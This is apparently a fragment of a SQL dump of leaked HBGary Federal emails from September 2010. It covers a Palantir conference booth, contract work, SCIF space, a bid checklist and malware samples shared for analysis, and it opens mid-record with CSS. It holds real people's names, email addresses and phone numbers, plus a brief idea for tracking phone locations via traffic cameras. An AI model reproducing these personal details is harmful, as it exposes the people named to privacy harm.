0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13809,'aaron_hbgary_com/13809.html'),(12110,'2010-09-21','\"Dan Woods\" <dwoods@palantir.com>','/aaron@hbgary.com/new/1297008995.M177301P14101Q6965.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: GovCon6 Booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 8:38 PM\r\nTo: Dan Woods\r\nSubject: Re: GovCon6 Booth\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal is a leading provider of cyber security\r\nsolutions in information operations, threat intelligence, and incident\r\nresponse. &nbsp;We provide advanced capabilities to produce better indications\r\nand warning, improve our understanding of the attributable characteristics of\r\nthreats, and deliver continuous incident response for mission assurance and\r\nbusiness continuity.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust a quick heads up that we need the final company\r\ndescriptions and logo images by end of day tomorrow (Tuesday).&nbsp; If I don&#8217;t\r\nhear back, I&#8217;ll go with the same from last time.&nbsp; I haven&#8217;t heard from you\r\nand wanted to send a second note just in case.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Dan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Dan Woods&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n15, 2010 3:00 PM\r\nTo:&nbsp;\'aaron@hbgary.com\'\r\nCc:&nbsp;Matthew Steckman\r\nSubject:&nbsp;GovCon6 Booth\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\ntells me you&#8217;re ready to present at GovCon6.&nbsp; A booth has been reserved\r\nfor you, and I look forward to having you there.&nbsp; Conference attendee\r\ninformation is available here:&nbsp;http://www.palantir.com/government/conference.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know if you&#8217;d like to keep the same 100-word company description as last\r\ntime for the conference literature:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc is the leading provider\r\nof solutions to detect, diagnose and respond to advance malware threats in a\r\nthorough and forensically sound manner. We provide the active intelligence that\r\nis critical to understanding the intent of the threat, the traits associated\r\nwith the malware and information that will help make your existing investment\r\nin your security infrastructure more valuable.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Dan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com&nbsp;| 650.248.1909\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11749,'aaron_hbgary_com/11749.html'),(12111,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008995.M403059P14101Q6966.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Open intel monitoring','I guess it would be possible to tie a location based capability on\r\nmobile phones to open web and traffic cams.\r\n\r\nImagery intel on the cheap.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',9687,'aaron_hbgary_com/9687.html'),(12112,'2010-09-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008995.M611588P14101Q6967.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Accelerator','Now until 12/31/2009 and timing and tasks will have to be figured out.  They\r\nwanted contract with us, so we\'ll be billing and they want security\r\narchitecture with us.  So we need to have a meeting.  They don\'t allow for\r\nsubs, but they knew Mark was going to do integration work, so I asked them\r\nif it meant no outside subs.  Waiting for an answer  Sorry this is late, was\r\nin bay area all day yesterday.  Talked to General Catalyst  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 8:30 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Cyber Accelerator\r\n\r\nGreat!  What is the PoP and what is the value to HBG Fed?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 10:44 AM, \"Penny Leavy-Hoglund\" \r\nwrote:\r\n\r\n> Yeap I did get the PO which is for the integration work and some time of\r\n> Greg\'s for security consulting on ideas they have.  I have one question to\r\n> them and am awaiting a response.  But the PO is in hand:)\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, September 20, 2010 7:36 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Cyber Accelerator\r\n>\r\n> Ray owen work.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 20, 2010, at 10:31 AM, \"Penny Leavy-Hoglund\" \r\n> wrote:\r\n>\r\n>> What is this?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, September 20, 2010 7:19 AM\r\n>> To: Penny Leavy\r\n>> Subject: Cyber Accelerator\r\n>>\r\n>> Any word?\r\n>>\r\n>> Aaron\r\n>>\r\n>\r\n\r\n',10033,'aaron_hbgary_com/10033.html'),(12113,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008995.M820300P14101Q6968.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Accelerator','Sent from my iPadBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: September 21, 2010 4:32:28 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Cyber Accelerator\r\nNow until 12/31/2009 and timing and tasks will have to be figured out.  Theywanted contract with us, so we&#39;ll be billing and they want security\r\narchitecture with us.  So we need to have a meeting.  They don&#39;t allow forsubs, but they knew Mark was going to do integration work, so I asked themif it meant no outside subs.  Waiting for an answer  Sorry this is late, was\r\nin bay area all day yesterday.  Talked to General Catalyst  -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 20, 2010 8:30 AMTo: Penny Leavy-HoglundSubject: Re: Cyber AcceleratorGreat!  What is the PoP and what is the value to HBG Fed?\r\nAaronSent from my iPhoneOn Sep 20, 2010, at 10:44 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nwrote:Yeap I did get the PO which is for the integration work and some time ofGreg&#39;s for security consulting on ideas they have.  I have one question to\r\nthem and am awaiting a response.  But the PO is in hand:)-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, September 20, 2010 7:36 AM\r\nTo: Penny Leavy-HoglundSubject: Re: Cyber Accelerator\r\nRay owen work.Sent from my iPhone\r\nOn Sep 20, 2010, at 10:31 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;wrote:\r\nWhat is this?\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, September 20, 2010 7:19 AMTo: Penny Leavy\r\nSubject: Cyber Accelerator\r\nAny word?\r\nAaron\r\n\r\n',105,'aaron_hbgary_com/105.html'),(12114,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008996.M135023P14101Q6969.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Accelerator','Hmmm....\r\n\r\nOn Tue, Sep 21, 2010 at 2:33 PM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPad\r\n> Begin forwarded message:\r\n>\r\n> From: \"Penny Leavy-Hoglund\" \r\n> Date: September 21, 2010 4:32:28 PM EDT\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: RE: Cyber Accelerator\r\n>\r\n> Now until 12/31/2009 and timing and tasks will have to be figured out.  They\r\n> wanted contract with us, so we\'ll be billing and they want security\r\n> architecture with us.  So we need to have a meeting.  They don\'t allow for\r\n> subs, but they knew Mark was going to do integration work, so I asked them\r\n> if it meant no outside subs.  Waiting for an answer  Sorry this is late, was\r\n> in bay area all day yesterday.  Talked to General Catalyst\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, September 20, 2010 8:30 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Cyber Accelerator\r\n>\r\n> Great!  What is the PoP and what is the value to HBG Fed?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 20, 2010, at 10:44 AM, \"Penny Leavy-Hoglund\" \r\n> wrote:\r\n>\r\n> Yeap I did get the PO which is for the integration work and some time of\r\n>\r\n> Greg\'s for security consulting on ideas they have.  I have one question to\r\n>\r\n> them and am awaiting a response.  But the PO is in hand:)\r\n>\r\n> -----Original Message-----\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>\r\n> Sent: Monday, September 20, 2010 7:36 AM\r\n>\r\n> To: Penny Leavy-Hoglund\r\n>\r\n> Subject: Re: Cyber Accelerator\r\n>\r\n> Ray owen work.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 20, 2010, at 10:31 AM, \"Penny Leavy-Hoglund\" \r\n>\r\n> wrote:\r\n>\r\n> What is this?\r\n>\r\n> -----Original Message-----\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>\r\n> Sent: Monday, September 20, 2010 7:19 AM\r\n>\r\n> To: Penny Leavy\r\n>\r\n> Subject: Cyber Accelerator\r\n>\r\n> Any word?\r\n>\r\n> Aaron\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10987,'aaron_hbgary_com/10987.html'),(12115,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008996.M396595P14101Q6970.eml','\"Hill, Lawrence C (TASC)\" <lawrence.hill@tasc.com>,\"Hill, Lawrence C (TASC)\" <lawrence.hill@tasc.com>','Re: EXTERNAL:SCIF Space','For now the 2 person could work - would also be interested to know\r\nabout the BB SCIF.  Can you find out the details / price from Deb?\r\n\r\nThanks!\r\nTed\r\n\r\n\r\n\r\nOn Tue, Sep 21, 2010 at 2:30 PM, Hill, Lawrence C (TASC)\r\n wrote:\r\n> Ted,   How much do you need?  We may have a small space (2 person)\r\n> available and with some effort might be able to make the old Blue Bird\r\n> space available.\r\n>\r\n> I\'ll need to check particulars with Deb Debolt and Bill Lightfoot but\r\n> certainly will check into it further.\r\n>\r\n> L\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, September 21, 2010 1:44 PM\r\n> To: Hill, Lawrence C (TASC)\r\n> Cc: Barr Aaron\r\n> Subject: EXTERNAL:SCIF Space\r\n>\r\n> Hi Lawrence,\r\n>\r\n> Do you have any SCIF space that is available for lease?\r\n>\r\n> Ted\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14367,'aaron_hbgary_com/14367.html'),(12116,'2010-09-21','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008996.M606671P14101Q6971.eml','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com','RE: Sealed Packages (IAW Section L) Due Friday COB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nWe are working on the checklist\r\nright now.&nbsp; We may be able to send a sanitized version of our cost volume to\r\nuse as a shell/template as well.&nbsp; It may be later this evening when they are\r\nsent.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Tuesday, September 21, 2010 11:41 AM\r\nTo: \'courtneys@thebuffalogroup.com\'; \'schleep@thebuffalogroup.com\';\r\n\'ted@hbgary.com\'; \'Aaron Barr\'; \'Nuhad Karaki\'; \'Pat Black\';\r\n\'kathyrondon@aol.com\'; \'barlow.katrina@gmail.com\'; \'Megan Speicher\';\r\n\'samuel.corbitt@siegetechnologies.com\'; \'Sam Corbitt\'\r\nCc: \'James Berman\'; Simpson, Patrick B; Windle, Amanda J; Kassaie,\r\nRachel C; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com\r\nSubject: Sealed Packages (IAW Section L) Due Friday COB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood morning.&nbsp; Please ensure your sealed packages are\r\ndelivered by COB Friday and that they meet the requirements of Section L (in\r\nparticular 6.0 Volume VI&#8212;page 15-24).&nbsp; \r\n\r\n&nbsp;\r\n\r\nOur pricer, Cheryl Grays is creating a checklist for the\r\ncost volume.&nbsp; I will send that to each of you later today.&nbsp; Hopefully\r\nit will help ensure all the requirements are being met.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9725,'aaron_hbgary_com/9725.html'),(12117,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008996.M839126P14101Q6972.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: Sealed Packages (IAW Section L) Due Friday COB','Thanks Steve,\r\n\r\nThat would be very useful!\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Sep 21, 2010 at 2:37 PM, Ott, Stephen D  wrote:\r\n> Gatorbait Team,\r\n>\r\n>\r\n>\r\n> We are working on the checklist right now.  We may be able to send a\r\n> sanitized version of our cost volume to use as a shell/template as well.  It\r\n> may be later this evening when they are sent.\r\n>\r\n>\r\n>\r\n> Thank you.\r\n>\r\n>\r\n>\r\n> Regards,\r\n>\r\n> Steve\r\n>\r\n>\r\n>\r\n> Stephen Ott\r\n>\r\n> Principal Subcontracts Administrator\r\n>\r\n> ManTech Mission, Cyber, Technology, and Solutions Group\r\n>\r\n> 7799 Leesburg Pike, Ste 700 South\r\n>\r\n> Falls Church, VA 22043\r\n>\r\n> (P) 703-485-8010\r\n>\r\n> (F) 703-847-0486\r\n>\r\n>\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary. Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n>\r\n> From: Ott, Stephen D\r\n> Sent: Tuesday, September 21, 2010 11:41 AM\r\n> To: \'courtneys@thebuffalogroup.com\'; \'schleep@thebuffalogroup.com\';\r\n> \'ted@hbgary.com\'; \'Aaron Barr\'; \'Nuhad Karaki\'; \'Pat Black\';\r\n> \'kathyrondon@aol.com\'; \'barlow.katrina@gmail.com\'; \'Megan Speicher\';\r\n> \'samuel.corbitt@siegetechnologies.com\'; \'Sam Corbitt\'\r\n> Cc: \'James Berman\'; Simpson, Patrick B; Windle, Amanda J; Kassaie, Rachel C;\r\n> Hull, Wayne A; kirkpatrickj@thebuffalogroup.com\r\n> Subject: Sealed Packages (IAW Section L) Due Friday COB\r\n>\r\n>\r\n>\r\n> Gatorbait Team,\r\n>\r\n>\r\n>\r\n> Good morning.  Please ensure your sealed packages are delivered by COB\r\n> Friday and that they meet the requirements of Section L (in particular 6.0\r\n> Volume VI—page 15-24).\r\n>\r\n>\r\n>\r\n> Our pricer, Cheryl Grays is creating a checklist for the cost volume.  I\r\n> will send that to each of you later today.  Hopefully it will help ensure\r\n> all the requirements are being met.\r\n>\r\n>\r\n>\r\n> Thank you.\r\n>\r\n>\r\n>\r\n> Regards,\r\n>\r\n> Steve\r\n>\r\n>\r\n>\r\n> Stephen Ott\r\n>\r\n> Principal Subcontracts Administrator\r\n>\r\n> ManTech Mission, Cyber, Technology, and Solutions Group\r\n>\r\n> 7799 Leesburg Pike, Ste 700 South\r\n>\r\n> Falls Church, VA 22043\r\n>\r\n> (P) 703-485-8010\r\n>\r\n> (F) 703-847-0486\r\n>\r\n>\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary. Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',9959,'aaron_hbgary_com/9959.html'),(12118,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008997.M116478P14101Q6973.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,','Re: Malware presentation at Palantir GovCon','Hi Aaron,\r\n\r\nWere you able to make any correlations with these APT samples?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 17, 2010 at 4:56 PM, Ted Vera  wrote:\r\n> Hi Aaron,\r\n>\r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any\r\n> correlations please send me screenshots as it will help with this\r\n> investigation.\r\n>\r\n> Hope you have a nice weekend!\r\n> Ted\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5881,'aaron_hbgary_com/5881.html'),(12119,'2010-09-21','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008997.M334350P14101Q6974.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Malware presentation at Palantir GovCon','Ted --\r\n\r\nMy apologies, I haven\'t had a chance to look at them. By tomorrow our IT is supposed to set up a cloud instance we can all access, with both these and the older data. Also Aaron B is supposed to stop by the office on Friday and we\'re going to talk more about analysis paths then; I\'ll make sure I have the analysis done for that meeting.\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, September 21, 2010 4:54 PM\r\nTo: Aaron Zollman\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nWere you able to make any correlations with these APT samples?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 17, 2010 at 4:56 PM, Ted Vera  wrote:\r\n> Hi Aaron,\r\n>\r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any\r\n> correlations please send me screenshots as it will help with this\r\n> investigation.\r\n>\r\n> Hope you have a nice weekend!\r\n> Ted\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8570,'aaron_hbgary_com/8570.html'),(12120,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008997.M531111P14101Q6975.eml','\"John Edwards\" 